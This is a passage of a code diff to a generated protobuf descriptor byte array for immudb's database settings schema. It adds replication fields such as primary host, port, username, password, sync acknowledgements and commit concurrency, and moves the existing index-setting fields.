0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, + 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, + 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, - 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0x99, 0x09, 0x0a, - 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, - 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, - 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, - 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, + 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, + 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, + 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, - 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, - 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, - 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, + 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, + 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, - 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, - 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, + 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, - 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, - 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, - 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, - 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, - 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, - 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, - 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, - 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, - 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, - 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, + 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, - 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, - 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, - 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, - 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, - 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, - 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, - 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, + 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0x99, + 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, + 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, + 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, + 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, - 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, - 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, - 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, - 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, + 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, + 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, + 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, + 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, + 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, + 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, + 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 